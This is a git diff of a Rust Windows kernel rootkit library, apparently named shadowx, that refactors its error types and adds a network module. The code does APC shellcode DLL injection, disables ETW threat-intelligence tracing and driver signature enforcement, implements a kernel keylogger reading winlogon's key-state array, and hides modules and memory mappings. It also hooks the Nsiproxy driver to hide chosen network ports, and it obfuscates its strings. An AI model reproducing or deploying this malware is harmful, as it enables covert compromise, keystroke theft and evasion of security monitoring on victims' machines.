/// * `Err(ShadowError)` - If any step fails.
|
pub unsafe fn apc(pid: usize, path: &str) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn apc(pid: usize, path: &str) -> Result<NTSTATUS> {
|
|
||||||
// Find an alertable thread in the target process
|
// Find an alertable thread in the target process
|
||||||
let tid = find_thread_alertable(pid)?;
|
let tid = find_thread_alertable(pid)?;
|
||||||
|
|
||||||
@@ -477,7 +491,10 @@ impl DLL {
|
|||||||
// Open the target process
|
// Open the target process
|
||||||
let mut h_process = null_mut();
|
let mut h_process = null_mut();
|
||||||
let target_eprocess = Process::new(pid)?;
|
let target_eprocess = Process::new(pid)?;
|
||||||
let mut client_id = CLIENT_ID { UniqueProcess: pid as _, UniqueThread: null_mut() };
|
let mut client_id = CLIENT_ID {
|
||||||
|
UniqueProcess: pid as _,
|
||||||
|
UniqueThread: null_mut(),
|
||||||
|
};
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
let mut status = ZwOpenProcess(
|
let mut status = ZwOpenProcess(
|
||||||
&mut h_process,
|
&mut h_process,
|
||||||
@@ -506,7 +523,10 @@ impl DLL {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ZwAllocateVirtualMemory",
|
||||||
|
status,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Copy the DLL path into the target process's memory
|
// Copy the DLL path into the target process's memory
|
||||||
@@ -534,7 +554,10 @@ impl DLL {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory [2]", status));
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ZwAllocateVirtualMemory [2]",
|
||||||
|
status,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
LDR_SHELLCODE[6..14].copy_from_slice(&(load_library as usize).to_le_bytes());
|
LDR_SHELLCODE[6..14].copy_from_slice(&(load_library as usize).to_le_bytes());
|
||||||
@@ -1,8 +1,4 @@
|
|||||||
//! # shadowx: Kernel-Level Utilities Library
|
//! Kernel-Level Utilities Library
|
||||||
//!
|
|
||||||
//! **shadowx** is a `#![no_std]` library designed for kernel operations,
|
|
||||||
//! including process management, thread handling, injection mechanisms, driver interactions,
|
|
||||||
//! registry manipulation, and more.
|
|
||||||
|
|
||||||
#![no_std]
|
#![no_std]
|
||||||
#![allow(unused_must_use)]
|
#![allow(unused_must_use)]
|
||||||
@@ -24,26 +20,23 @@ pub mod registry;
|
|||||||
/// Kernel callback management.
|
/// Kernel callback management.
|
||||||
pub mod callback;
|
pub mod callback;
|
||||||
|
|
||||||
|
mod data;
|
||||||
|
mod driver;
|
||||||
|
mod injection;
|
||||||
|
mod misc;
|
||||||
|
mod module;
|
||||||
|
mod offsets;
|
||||||
mod process;
|
mod process;
|
||||||
mod thread;
|
mod thread;
|
||||||
mod injection;
|
|
||||||
mod module;
|
|
||||||
mod driver;
|
|
||||||
mod misc;
|
|
||||||
mod utils;
|
mod utils;
|
||||||
mod data;
|
|
||||||
mod offsets;
|
|
||||||
|
|
||||||
pub use process::*;
|
|
||||||
pub use thread::*;
|
|
||||||
pub use injection::*;
|
|
||||||
pub use module::*;
|
|
||||||
pub use driver::*;
|
|
||||||
pub use misc::*;
|
|
||||||
pub use utils::*;
|
|
||||||
pub use data::*;
|
pub use data::*;
|
||||||
|
pub use driver::*;
|
||||||
|
pub use injection::*;
|
||||||
|
pub use misc::*;
|
||||||
|
pub use module::*;
|
||||||
pub use network::*;
|
pub use network::*;
|
||||||
|
pub use process::*;
|
||||||
pub use registry::*;
|
pub use registry::*;
|
||||||
pub use callback::*;
|
pub use thread::*;
|
||||||
|
pub use utils::*;
|
||||||
pub(crate) type Result<T> = core::result::Result<T, error::ShadowError>;
|
|
||||||
@@ -1,18 +1,18 @@
|
|||||||
use core::{ffi::c_void, ptr::null_mut};
|
use core::{ffi::c_void, ptr::null_mut};
|
||||||
use obfstr::obfstr;
|
use obfstr::obfstr;
|
||||||
use wdk_sys::{
|
use wdk_sys::{
|
||||||
_MEMORY_CACHING_TYPE::MmCached,
|
ntddk::*, _MEMORY_CACHING_TYPE::MmCached, _MM_PAGE_PRIORITY::NormalPagePriority,
|
||||||
_MM_PAGE_PRIORITY::NormalPagePriority,
|
_MODE::UserMode, *,
|
||||||
_MODE::UserMode,
|
|
||||||
ntddk::*,
|
|
||||||
*,
|
|
||||||
};
|
};
|
||||||
|
|
||||||
use crate::{attach::ProcessAttach, error::ShadowError};
|
use crate::*;
|
||||||
use crate::{
|
use crate::{
|
||||||
address::{get_function_address, get_module_base_address},
|
address::{get_function_address, get_module_base_address},
|
||||||
patterns::{ETWTI_PATTERN, scan_for_pattern},
|
patterns::{scan_for_pattern, ETWTI_PATTERN},
|
||||||
*,
|
};
|
||||||
|
use crate::{
|
||||||
|
attach::ProcessAttach,
|
||||||
|
error::{ShadowError, ShadowResult},
|
||||||
};
|
};
|
||||||
|
|
||||||
/// Represents ETW (Event Tracing for Windows) in the operating system.
|
/// Represents ETW (Event Tracing for Windows) in the operating system.
|
||||||
@@ -23,13 +23,12 @@ impl Etw {
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) ETW tracing.
|
/// * `enable` - A boolean flag indicating whether to enable or disable ETW tracing.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(NTSTATUS)` - If the operation is successful.
|
/// If the operation is successful.
|
||||||
/// * `Err(ShadowError)` - If any error occurs while finding the function or modifying the ETWTI structure.
|
pub unsafe fn etwti_enable_disable(enable: bool) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn etwti_enable_disable(enable: bool) -> Result<NTSTATUS> {
|
|
||||||
// Convert function name to Unicode string for lookup
|
// Convert function name to Unicode string for lookup
|
||||||
let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode();
|
let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode();
|
||||||
|
|
||||||
@@ -54,13 +53,12 @@ impl Dse {
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) driver signature enforcement.
|
/// * `enable` - A boolean flag indicating whether to enable or disable DSE.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(NTSTATUS)` - If the operation is successful.
|
/// If the operation is successful.
|
||||||
/// * `Err(ShadowError)` - If the function fails to find or modify the DSE state.
|
pub unsafe fn set_dse_state(enable: bool) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn set_dse_state(enable: bool) -> Result<NTSTATUS> {
|
|
||||||
// Get the base address of the CI.dll module, where the relevant function resides
|
// Get the base address of the CI.dll module, where the relevant function resides
|
||||||
let module_address = get_module_base_address(obfstr!("CI.dll"))?;
|
let module_address = get_module_base_address(obfstr!("CI.dll"))?;
|
||||||
|
|
||||||
@@ -94,9 +92,8 @@ impl Keylogger {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(*mut c_void)` - If successful, returns a pointer to the mapped user-mode address of `gafAsyncKeyState`.
|
/// If successful, returns a pointer to the mapped user-mode address of `gafAsyncKeyState`.
|
||||||
/// * `Err(ShadowError)` - If any error occurs while finding the address or mapping memory.
|
pub unsafe fn get_user_address_keylogger() -> ShadowResult<*mut c_void> {
|
||||||
pub unsafe fn get_user_address_keylogger() -> Result<*mut c_void> {
|
|
||||||
// Get the PID of winlogon.exe
|
// Get the PID of winlogon.exe
|
||||||
let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
|
let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
|
||||||
|
|
||||||
@@ -135,7 +132,10 @@ impl Keylogger {
|
|||||||
|
|
||||||
if address.is_null() {
|
if address.is_null() {
|
||||||
IoFreeMdl(mdl);
|
IoFreeMdl(mdl);
|
||||||
return Err(ShadowError::ApiCallFailed("MmMapLockedPagesSpecifyCache", -1));
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"MmMapLockedPagesSpecifyCache",
|
||||||
|
-1,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
Ok(address)
|
Ok(address)
|
||||||
@@ -145,9 +145,8 @@ impl Keylogger {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(*mut u8)` - Returns a pointer to the `gafAsyncKeyState` array if found.
|
/// Returns a pointer to the `gafAsyncKeyState` array if found.
|
||||||
/// * `Err(ShadowError)` - If the array is not found or an error occurs during the search.
|
unsafe fn get_gafasynckeystate_address() -> ShadowResult<*mut u8> {
|
||||||
unsafe fn get_gafasynckeystate_address() -> Result<*mut u8> {
|
|
||||||
// Get the base address of win32kbase.sys
|
// Get the base address of win32kbase.sys
|
||||||
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
|
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
|
||||||
|
|
||||||
@@ -1,18 +1,10 @@
|
|||||||
use alloc::{string::String, vec::Vec};
|
use alloc::{string::String, vec::Vec};
|
||||||
use wdk_sys::{
|
use wdk_sys::{FILE_OBJECT, NTSTATUS, RTL_BALANCED_NODE, STATUS_SUCCESS};
|
||||||
FILE_OBJECT, NTSTATUS,
|
|
||||||
RTL_BALANCED_NODE, STATUS_SUCCESS
|
|
||||||
};
|
|
||||||
|
|
||||||
use crate::data::{
|
use crate::data::{PsGetProcessPeb, LDR_DATA_TABLE_ENTRY, MMVAD, MMVAD_SHORT, PEB};
|
||||||
LDR_DATA_TABLE_ENTRY,
|
|
||||||
MMVAD, MMVAD_SHORT,
|
|
||||||
PEB, PsGetProcessPeb
|
|
||||||
};
|
|
||||||
use crate::{
|
use crate::{
|
||||||
Result,
|
error::{ShadowError, ShadowResult},
|
||||||
error::ShadowError,
|
offsets::get_vad_root,
|
||||||
offsets::get_vad_root,
|
|
||||||
process::Process,
|
process::Process,
|
||||||
utils::attach::ProcessAttach,
|
utils::attach::ProcessAttach,
|
||||||
};
|
};
|
||||||
@@ -34,8 +26,8 @@ impl Module {
|
|||||||
///
|
///
|
||||||
/// * `Ok(Vec<ModuleInfo>)` - A list of loaded modules if enumeration is successful.
|
/// * `Ok(Vec<ModuleInfo>)` - A list of loaded modules if enumeration is successful.
|
||||||
/// * `Err(ShadowError)` - An error if module enumeration fails.
|
/// * `Err(ShadowError)` - An error if module enumeration fails.
|
||||||
pub unsafe fn enumerate_module(pid: usize) -> Result<Vec<ModuleInfo>> {
|
pub unsafe fn enumerate_module(pid: usize) -> ShadowResult<Vec<ModuleInfo>> {
|
||||||
let mut modules: Vec<ModuleInfo> = Vec::with_capacity(276);
|
let mut modules = Vec::with_capacity(276);
|
||||||
|
|
||||||
// Attaches the target process to the current context
|
// Attaches the target process to the current context
|
||||||
let target = Process::new(pid)?;
|
let target = Process::new(pid)?;
|
||||||
@@ -69,7 +61,9 @@ impl Module {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if buffer.is_empty() {
|
if buffer.is_empty() {
|
||||||
return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize));
|
return Err(ShadowError::StringConversionFailed(
|
||||||
|
(*list_entry).FullDllName.Buffer as usize,
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut name = [0u16; 256];
|
let mut name = [0u16; 256];
|
||||||
@@ -105,13 +99,16 @@ impl Module {
|
|||||||
///
|
///
|
||||||
/// * `Ok(NTSTATUS)` - If the module is successfully hidden.
|
/// * `Ok(NTSTATUS)` - If the module is successfully hidden.
|
||||||
/// * `Err(ShadowError)` - If an error occurs when trying to hide the module.
|
/// * `Err(ShadowError)` - If an error occurs when trying to hide the module.
|
||||||
pub unsafe fn hide_module(pid: usize, module_name: &str) -> Result<NTSTATUS> {
|
pub unsafe fn hide_module(pid: usize, module_name: &str) -> ShadowResult<NTSTATUS> {
|
||||||
let target = Process::new(pid)?;
|
let target = Process::new(pid)?;
|
||||||
let mut attach_process = ProcessAttach::new(target.e_process);
|
let mut attach_process = ProcessAttach::new(target.e_process);
|
||||||
|
|
||||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||||
return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!()));
|
return Err(ShadowError::FunctionExecutionFailed(
|
||||||
|
"PsGetProcessPeb",
|
||||||
|
line!(),
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut wdk_sys::LIST_ENTRY;
|
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut wdk_sys::LIST_ENTRY;
|
||||||
@@ -173,12 +170,11 @@ impl Module {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(NTSTATUS)` - If the module is successfully hidden.
|
/// If the module is successfully hidden.
|
||||||
/// * `Err(ShadowError)` - If an error occurs while attempting to hide the module.
|
pub unsafe fn hide_object(target_address: u64, process: Process) -> ShadowResult<()> {
|
||||||
pub unsafe fn hide_object(target_address: u64, process: Process) -> Result<()> {
|
|
||||||
let vad_root = get_vad_root();
|
let vad_root = get_vad_root();
|
||||||
let vad_table = process.e_process.cast::<u8>()
|
let vad_table =
|
||||||
.offset(vad_root as isize) as *mut RTL_BALANCED_NODE;
|
process.e_process.cast::<u8>().offset(vad_root as isize) as *mut RTL_BALANCED_NODE;
|
||||||
let current_node = vad_table;
|
let current_node = vad_table;
|
||||||
|
|
||||||
// Uses a stack to iteratively traverse the tree
|
// Uses a stack to iteratively traverse the tree
|
||||||
@@ -220,13 +216,14 @@ impl Module {
|
|||||||
return Err(ShadowError::NullPointer("SUBSECTION"));
|
return Err(ShadowError::NullPointer("SUBSECTION"));
|
||||||
}
|
}
|
||||||
|
|
||||||
let file_object = ((*(*subsection).ControlArea).FilePointer.Inner.Value & !0xF) as *mut FILE_OBJECT;
|
let file_object = ((*(*subsection).ControlArea).FilePointer.Inner.Value & !0xF)
|
||||||
|
as *mut FILE_OBJECT;
|
||||||
core::ptr::write_bytes(
|
core::ptr::write_bytes(
|
||||||
(*file_object).FileName.Buffer,
|
(*file_object).FileName.Buffer,
|
||||||
0,
|
0,
|
||||||
(*file_object).FileName.Length as usize,
|
(*file_object).FileName.Length as usize,
|
||||||
);
|
);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
455
crates/shadow-core/src/network.rs
Normal file
455
crates/shadow-core/src/network.rs
Normal file
@@ -0,0 +1,455 @@
|
|||||||
|
use alloc::vec::Vec;
|
||||||
|
use core::{
|
||||||
|
ffi::c_void,
|
||||||
|
mem::size_of,
|
||||||
|
ptr::{copy, null_mut},
|
||||||
|
slice::from_raw_parts_mut,
|
||||||
|
sync::atomic::{AtomicBool, AtomicPtr, Ordering},
|
||||||
|
};
|
||||||
|
|
||||||
|
use spin::{lazy::Lazy, Mutex};
|
||||||
|
use wdk::println;
|
||||||
|
use wdk_sys::{
|
||||||
|
ntddk::{ExFreePool, ObfDereferenceObject},
|
||||||
|
_MODE::KernelMode,
|
||||||
|
*,
|
||||||
|
};
|
||||||
|
|
||||||
|
use crate::{
|
||||||
|
data::*,
|
||||||
|
error::{ShadowError, ShadowResult},
|
||||||
|
utils::{pool::PoolMemory, uni::str_to_unicode, *},
|
||||||
|
};
|
||||||
|
use common::{
|
||||||
|
enums::{PortType, Protocol},
|
||||||
|
structs::TargetPort,
|
||||||
|
};
|
||||||
|
|
||||||
|
// The maximum number of ports that can be hidden
|
||||||
|
const MAX_PORT: usize = 100;
|
||||||
|
|
||||||
|
/// Holds the original NSI dispatch function.
|
||||||
|
static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut());
|
||||||
|
|
||||||
|
/// Indicates whether the callback has been activated.
|
||||||
|
pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false);
|
||||||
|
|
||||||
|
/// List of protected ports, synchronized with a mutex.
|
||||||
|
pub static PROTECTED_PORTS: Lazy<Mutex<Vec<TargetPort>>> =
|
||||||
|
Lazy::new(|| Mutex::new(Vec::with_capacity(100)));
|
||||||
|
|
||||||
|
/// Represents a Network structure used for hooking into the NSI proxy driver.
|
||||||
|
pub struct Network;
|
||||||
|
|
||||||
|
impl Network {
|
||||||
|
/// Control code for the NSI communication.
|
||||||
|
const NIS_CONTROL_CODE: u32 = 1179675;
|
||||||
|
|
||||||
|
/// Network driver name.
|
||||||
|
const NSI_PROXY: &str = "\\Driver\\Nsiproxy";
|
||||||
|
|
||||||
|
/// Installs a hook into the NSI proxy driver to intercept network table operations.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// If the hook is installed successfully.
|
||||||
|
pub unsafe fn install_hook() -> ShadowResult<NTSTATUS> {
|
||||||
|
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
|
||||||
|
let status = ObReferenceObjectByName(
|
||||||
|
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
|
||||||
|
OBJ_CASE_INSENSITIVE,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
*IoDriverObjectType,
|
||||||
|
KernelMode as i8,
|
||||||
|
null_mut(),
|
||||||
|
&mut driver_object as *mut _ as *mut *mut c_void,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Check if the driver object was referenced successfully.
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ObReferenceObjectByName",
|
||||||
|
status,
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try to replace the original IRP_MJ_DEVICE_CONTROL dispatch function.
|
||||||
|
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
|
||||||
|
if let Some(original_function) = major_function.take() {
|
||||||
|
// Store the original dispatch function.
|
||||||
|
let original_function_ptr = original_function as *mut ();
|
||||||
|
ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst);
|
||||||
|
|
||||||
|
// Replace the dispatch function with the hook.
|
||||||
|
*major_function = Some(Self::hook_nsi);
|
||||||
|
HOOK_INSTALLED.store(true, Ordering::SeqCst);
|
||||||
|
} else {
|
||||||
|
ObfDereferenceObject(driver_object.cast());
|
||||||
|
return Err(ShadowError::HookFailure);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Dereference the driver object after setting up the hook.
|
||||||
|
ObfDereferenceObject(driver_object.cast());
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Uninstalls the NSI hook, restoring the original dispatch function.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// If the hook was successfully uninstalled.
|
||||||
|
pub unsafe fn uninstall_hook() -> ShadowResult<NTSTATUS> {
|
||||||
|
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
|
||||||
|
let status = ObReferenceObjectByName(
|
||||||
|
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
|
||||||
|
OBJ_CASE_INSENSITIVE,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
*IoDriverObjectType,
|
||||||
|
KernelMode as i8,
|
||||||
|
null_mut(),
|
||||||
|
&mut driver_object as *mut _ as *mut *mut c_void,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Handle error if the driver object can't be referenced.
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed(
|
||||||
|
"ObReferenceObjectByName",
|
||||||
|
status,
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the hook is installed, restore the original dispatch function.
|
||||||
|
if HOOK_INSTALLED.load(Ordering::SeqCst) {
|
||||||
|
let major_function =
|
||||||
|
&mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
|
||||||
|
|
||||||
|
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
|
||||||
|
if !original_function_ptr.is_null() {
|
||||||
|
let original_function = core::mem::transmute(original_function_ptr);
|
||||||
|
*major_function = original_function;
|
||||||
|
|
||||||
|
HOOK_INSTALLED.store(false, Ordering::SeqCst);
|
||||||
|
} else {
|
||||||
|
ObfDereferenceObject(driver_object.cast());
|
||||||
|
return Err(ShadowError::HookFailure);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
ObfDereferenceObject(driver_object.cast());
|
||||||
|
return Err(ShadowError::HookFailure);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Dereference the driver object after removing the hook.
|
||||||
|
ObfDereferenceObject(driver_object.cast());
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries.
|
||||||
|
///
|
||||||
|
/// This function intercepts network requests (IRPs) sent to the NSI proxy driver when the control
|
||||||
|
/// code matches `NIS_CONTROL_CODE`. It replaces the completion routine with a custom handler
|
||||||
|
/// to inspect and potentially modify network entries.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `device_object` - Pointer to the device object associated with the request.
|
||||||
|
/// * `irp` - Pointer to the IRP (I/O Request Packet) being processed.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// The result of the original dispatch function, or `STATUS_UNSUCCESSFUL` if the hook fails.
|
||||||
|
unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||||
|
let stack = (*irp)
|
||||||
|
.Tail
|
||||||
|
.Overlay
|
||||||
|
.__bindgen_anon_2
|
||||||
|
.__bindgen_anon_1
|
||||||
|
.CurrentStackLocation;
|
||||||
|
|
||||||
|
// If the control code matches, we replace the completion routine with a custom one.
|
||||||
|
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
||||||
|
if control_code == Self::NIS_CONTROL_CODE {
|
||||||
|
let context = PoolMemory::new(
|
||||||
|
POOL_FLAG_NON_PAGED,
|
||||||
|
size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64,
|
||||||
|
"giud",
|
||||||
|
);
|
||||||
|
|
||||||
|
if let Some(addr) = context {
|
||||||
|
let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
|
||||||
|
(*address).0 = (*stack).CompletionRoutine;
|
||||||
|
(*address).1 = (*stack).Context;
|
||||||
|
|
||||||
|
(*stack).Context = address as *mut c_void;
|
||||||
|
(*stack).CompletionRoutine = Some(irp_complete);
|
||||||
|
(*stack).Control |= SL_INVOKE_ON_SUCCESS as u8;
|
||||||
|
|
||||||
|
// Prevent memory deallocation.
|
||||||
|
core::mem::forget(addr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Call the original dispatch function.
|
||||||
|
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
|
||||||
|
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
|
||||||
|
|
||||||
|
original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Completion routine that modifies network table entries after an NSI operation.
|
||||||
|
///
|
||||||
|
/// This function is called when the IRP operation completes, and it processes the network
|
||||||
|
/// table entries (TCP/UDP) to inspect or modify them. It then calls the original completion
|
||||||
|
/// routine, passing the results of the modified entries back to the caller.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `device_object` - Pointer to the device object associated with the IRP.
|
||||||
|
/// * `irp` - Pointer to the IRP being completed.
|
||||||
|
/// * `context` - Pointer to the context, containing the original completion routine and its arguments.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// The result of the original completion routine, or `STATUS_SUCCESS` if processing was successful.
|
||||||
|
unsafe extern "C" fn irp_complete(
|
||||||
|
device_object: *mut DEVICE_OBJECT,
|
||||||
|
irp: *mut IRP,
|
||||||
|
context: *mut c_void,
|
||||||
|
) -> NTSTATUS {
|
||||||
|
let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
|
||||||
|
|
||||||
|
// Validate the status of the IRP.
|
||||||
|
if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) {
|
||||||
|
let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM;
|
||||||
|
let mut status_success = true;
|
||||||
|
|
||||||
|
// Ensure that the NSI parameter is valid and the context can be accessed.
|
||||||
|
if !valid_user_memory(nsi_param as u64) {
|
||||||
|
status_success = false;
|
||||||
|
} else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() {
|
||||||
|
status_success = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the entries are valid, process them.
|
||||||
|
if status_success && !(*nsi_param).Entries.is_null() && (*nsi_param).EntrySize != 0 {
|
||||||
|
let tcp_entries = (*nsi_param).Entries as *mut NSI_TABLE_TCP_ENTRY;
|
||||||
|
let udp_entries = (*nsi_param).Entries as *mut NSI_UDP_ENTRY;
|
||||||
|
|
||||||
|
// Loop through all entries in the NSI parameter.
|
||||||
|
for i in 0..(*nsi_param).Count {
|
||||||
|
match (*nsi_param).Type_ {
|
||||||
|
COMUNICATION_TYPE::TCP => {
|
||||||
|
if valid_user_memory((*tcp_entries.add(i)).Local.Port as u64)
|
||||||
|
|| valid_user_memory((*tcp_entries.add(i)).Remote.Port as u64)
|
||||||
|
{
|
||||||
|
// Convert the port numbers from big-endian to the host's native format.
|
||||||
|
let local_port = u16::from_be((*tcp_entries.add(i)).Local.Port);
|
||||||
|
let remote_port = u16::from_be((*tcp_entries.add(i)).Remote.Port);
|
||||||
|
|
||||||
|
// Process the TCP entry by copying it into the NSI table, updating ports if necessary.
|
||||||
|
process_entry_copy(
|
||||||
|
tcp_entries,
|
||||||
|
(*nsi_param).Count,
|
||||||
|
i,
|
||||||
|
local_port,
|
||||||
|
Some(remote_port),
|
||||||
|
Protocol::TCP,
|
||||||
|
(*nsi_param).StatusEntries,
|
||||||
|
(*nsi_param).ProcessEntries,
|
||||||
|
nsi_param,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
COMUNICATION_TYPE::UDP => {
|
||||||
|
// Check if the UDP local port is a valid user-mode memory address.
|
||||||
|
if valid_user_memory((*udp_entries.add(i)).Port as u64) {
|
||||||
|
// Convert the local port number from big-endian to the host's native format.
|
||||||
|
let local_port = u16::from_be((*udp_entries.add(i)).Port);
|
||||||
|
|
||||||
|
// Process the UDP entry by copying it into the NSI table, updating ports if necessary.
|
||||||
|
process_entry_copy(
|
||||||
|
udp_entries,
|
||||||
|
(*nsi_param).Count,
|
||||||
|
i,
|
||||||
|
local_port,
|
||||||
|
None,
|
||||||
|
Protocol::UDP,
|
||||||
|
(*nsi_param).StatusEntries,
|
||||||
|
(*nsi_param).ProcessEntries,
|
||||||
|
nsi_param,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Call the original completion routine if one exists.
|
||||||
|
if let Some(original_routine) = (*context_addr).0 {
|
||||||
|
let mut original_context = null_mut();
|
||||||
|
|
||||||
|
if !(*context_addr).1.is_null() {
|
||||||
|
original_context = (*context_addr).1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExFreePool(context.cast());
|
||||||
|
return original_routine(device_object, irp, original_context);
|
||||||
|
}
|
||||||
|
|
||||||
|
ExFreePool(context.cast());
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Copies network table entries (TCP/UDP) from one index to another and updates associated status
|
||||||
|
/// and process entries if necessary.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `entries` - A pointer to the list of TCP or UDP entries. The type is generic (`T`), and the pointer must be safely dereferenced.
|
||||||
|
/// * `count` - The total number of entries in the table. Defines the size of the `entries` buffer.
|
||||||
|
/// * `i` - The index of the current entry being processed.
|
||||||
|
/// * `local_port` - The local port number associated with the current entry.
|
||||||
|
/// * `remote_port` - An `Option<u16>` that may contain the remote port number associated with the current entry, or `None`.
|
||||||
|
/// * `protocol` - The protocol type (TCP or UDP) being processed for this entry.
|
||||||
|
/// * `status_entries` - A pointer to the list of status entries related to the network connections.
|
||||||
|
/// * `process_entries` - A pointer to the list of process entries related to the network connections.
|
||||||
|
/// * `nsi_param` - A pointer to the `NSI_PARAM` structure, which contains information about the network table.
|
||||||
|
unsafe fn process_entry_copy<T: Sized>(
|
||||||
|
entries: *mut T,
|
||||||
|
count: usize,
|
||||||
|
